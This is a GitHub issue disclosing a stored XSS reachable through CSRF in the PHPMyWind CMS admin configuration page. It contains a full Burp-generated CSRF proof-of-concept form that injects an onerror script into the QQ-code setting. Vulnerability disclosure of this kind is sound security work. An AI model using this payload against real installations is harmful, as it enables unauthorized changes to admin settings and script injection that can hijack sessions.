Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Home Storage XSS base on csrf #8

Open
0linlin0 opened this issue Feb 5, 2019 · 0 comments
Open

Home Storage XSS base on csrf #8

0linlin0 opened this issue Feb 5, 2019 · 0 comments

Comments

@0linlin0
Copy link

0linlin0 commented Feb 5, 2019

Attackers can get any user's access credentials and do otherthing

1.First download the phpmywind the Latest version fromhttp://phpmywind.com/downloads/PHPMyWind_5.5.zip

2.install it

3.Read source code include/func.class.php

Did not do any filtering
Causing storage xss and CSRF exists at the change QQ number

4.Writing csrf poc. Phishing admin accessing malicious pages

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/phpmywind/admin/web_config.php" method="POST">
      <input type="hidden" name="cfg&#95;webname" value="�&#136;&#145;�&#154;&#132;�&#189;&#145;�&#171;&#153;" />
      <input type="hidden" name="cfg&#95;weburl" value="http&#58;&#47;&#47;127&#46;0&#46;0&#46;1" />
      <input type="hidden" name="cfg&#95;webpath" value="&#47;phpmywind" />
      <input type="hidden" name="cfg&#95;author" value="" />
      <input type="hidden" name="cfg&#95;generator" value="PHPMyWind&#32;CMS" />
      <input type="hidden" name="cfg&#95;seotitle" value="" />
      <input type="hidden" name="cfg&#95;keyword" value="" />
      <input type="hidden" name="cfg&#95;description" value="" />
      <input type="hidden" name="cfg&#95;copyright" value="Copyright&#32;�&#169;&#32;2015&#32;&#45;&#32;2018&#32;phpMyWind&#46;com&#32;All&#32;Rights&#32;Reserved" />
      <input type="hidden" name="cfg&#95;hotline" value="400&#45;800&#45;8888" />
      <input type="hidden" name="cfg&#95;icp" value="" />
      <input type="hidden" name="cfg&#95;webswitch" value="Y" />
      <input type="hidden" name="cfg&#95;switchshow" value="�&#175;&#185;�&#184;&#141;�&#183;�&#188;&#140;�&#189;&#145;�&#171;&#153;�&#187;&#180;�&#138;&#164;�&#188;&#140;�&#175;&#183;�&#168;&#141;�&#144;&#142;�&#153;&#187;�&#189;&#149;�&#128;&#130;&lt;br&#32;&#47;&gt;�&#189;&#145;�&#171;&#153;�&#187;&#180;�&#138;&#164;�&#156;&#159;�&#151;&#180;�&#175;&#185;�&#130;&#168;�&#128;&#160;�&#136;&#144;�&#154;&#132;�&#184;&#141;�&#190;&#191;�&#188;&#140;�&#175;&#183;�&#176;&#133;�&#167;&#163;�&#188;&#129;" />
      <input type="hidden" name="action" value="update" />
      <input type="hidden" name="cfg&#95;upload&#95;img&#95;type" value="gif&#124;png&#124;jpg&#124;bmp" />
      <input type="hidden" name="cfg&#95;upload&#95;soft&#95;type" value="zip&#124;gz&#124;rar&#124;iso&#124;doc&#124;xls&#124;ppt&#124;wps&#124;txt" />
      <input type="hidden" name="cfg&#95;upload&#95;media&#95;type" value="swf&#124;flv&#124;mpg&#124;mp3&#124;rm&#124;rmvb&#124;wmv&#124;wma&#124;wav" />
      <input type="hidden" name="cfg&#95;max&#95;file&#95;size" value="2097152" />
      <input type="hidden" name="cfg&#95;imgresize" value="Y" />
      <input type="hidden" name="cfg&#95;countcode" value="" />
      <input type="hidden" name="cfg&#95;qqcode" value="&quot;&gt;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;1&#41;&gt;&lt;img&#32;src&#61;&quot;aaa" />
      <input type="hidden" name="action" value="update" />
      <input type="hidden" name="cfg&#95;mysql&#95;type" value="mysqli" />
      <input type="hidden" name="cfg&#95;pagenum" value="20" />
      <input type="hidden" name="cfg&#95;timezone" value="8" />
      <input type="hidden" name="cfg&#95;mobile" value="Y" />
      <input type="hidden" name="cfg&#95;member" value="Y" />
      <input type="hidden" name="cfg&#95;oauth" value="Y" />
      <input type="hidden" name="cfg&#95;comment" value="Y" />
      <input type="hidden" name="cfg&#95;maintype" value="N" />
      <input type="hidden" name="cfg&#95;typefold" value="N" />
      <input type="hidden" name="cfg&#95;quicktool" value="Y" />
      <input type="hidden" name="cfg&#95;diserror" value="Y" />
      <input type="hidden" name="action" value="update" />
      <input type="hidden" name="cfg&#95;isreurl" value="N" />
      <input type="hidden" name="cfg&#95;reurl&#95;index" value="index&#46;html" />
      <input type="hidden" name="cfg&#95;reurl&#95;about" value="&#123;about&#125;&#45;&#123;cid&#125;&#45;&#123;page&#125;&#46;html" />
      <input type="hidden" name="cfg&#95;reurl&#95;news" value="&#123;news&#125;&#45;&#123;cid&#125;&#45;&#123;page&#125;&#46;html" />
      <input type="hidden" name="cfg&#95;reurl&#95;newsshow" value="&#123;newsshow&#125;&#45;&#123;cid&#125;&#45;&#123;id&#125;&#45;&#123;page&#125;&#46;html" />
      <input type="hidden" name="cfg&#95;reurl&#95;product" value="&#123;product&#125;&#45;&#123;cid&#125;&#45;&#123;page&#125;&#46;html" />
      <input type="hidden" name="cfg&#95;reurl&#95;productshow" value="&#123;productshow&#125;&#45;&#123;cid&#125;&#45;&#123;id&#125;&#45;&#123;page&#125;&#46;html" />
      <input type="hidden" name="cfg&#95;reurl&#95;case" value="&#123;case&#125;&#45;&#123;cid&#125;&#45;&#123;page&#125;&#46;html" />
      <input type="hidden" name="cfg&#95;reurl&#95;caseshow" value="&#123;caseshow&#125;&#45;&#123;cid&#125;&#45;&#123;id&#125;&#45;&#123;page&#125;&#46;html" />
      <input type="hidden" name="cfg&#95;reurl&#95;join" value="&#123;join&#125;&#45;&#123;page&#125;&#46;html" />
      <input type="hidden" name="cfg&#95;reurl&#95;joinshow" value="&#123;joinshow&#125;&#45;&#123;id&#125;&#46;html" />
      <input type="hidden" name="cfg&#95;reurl&#95;message" value="&#123;message&#125;&#45;&#123;page&#125;&#46;html" />
      <input type="hidden" name="cfg&#95;reurl&#95;contact" value="&#123;contact&#125;&#45;&#123;cid&#125;&#45;&#123;page&#125;&#46;html" />
      <input type="hidden" name="cfg&#95;reurl&#95;soft" value="&#123;soft&#125;&#45;&#123;cid&#125;&#45;&#123;page&#125;&#46;html" />
      <input type="hidden" name="cfg&#95;reurl&#95;softshow" value="&#123;softshow&#125;&#45;&#123;cid&#125;&#45;&#123;id&#125;&#45;&#123;page&#125;&#46;html" />
      <input type="hidden" name="cfg&#95;reurl&#95;goods" value="&#123;goods&#125;&#45;&#123;cid&#125;&#45;&#123;tid&#125;&#45;&#123;page&#125;&#46;html" />
      <input type="hidden" name="cfg&#95;reurl&#95;goodsshow" value="&#123;goodsshow&#125;&#45;&#123;cid&#125;&#45;&#123;tid&#125;&#45;&#123;id&#125;&#45;&#123;page&#125;&#46;html" />
      <input type="hidden" name="cfg&#95;reurl&#95;vote" value="&#123;vote&#125;&#45;&#123;id&#125;&#46;html" />
      <input type="hidden" name="cfg&#95;reurl&#95;custom" value="&#123;file&#125;&#46;html" />
      <input type="hidden" name="action" value="update" />
      <input type="hidden" name="cfg&#95;auth&#95;key" value="TzdVWeg0DGP8bRO6" />
      <input type="hidden" name="cfg&#95;alipay&#95;uname" value="" />
      <input type="hidden" name="cfg&#95;alipay&#95;partner" value="" />
      <input type="hidden" name="cfg&#95;alipay&#95;key" value="" />
      <input type="hidden" name="cfg&#95;qq&#95;appid" value="" />
      <input type="hidden" name="cfg&#95;qq&#95;appkey" value="" />
      <input type="hidden" name="cfg&#95;weibo&#95;appid" value="" />
      <input type="hidden" name="cfg&#95;weibo&#95;appkey" value="" />
      <input type="hidden" name="action" value="update" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

5. Then go back to the home page

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant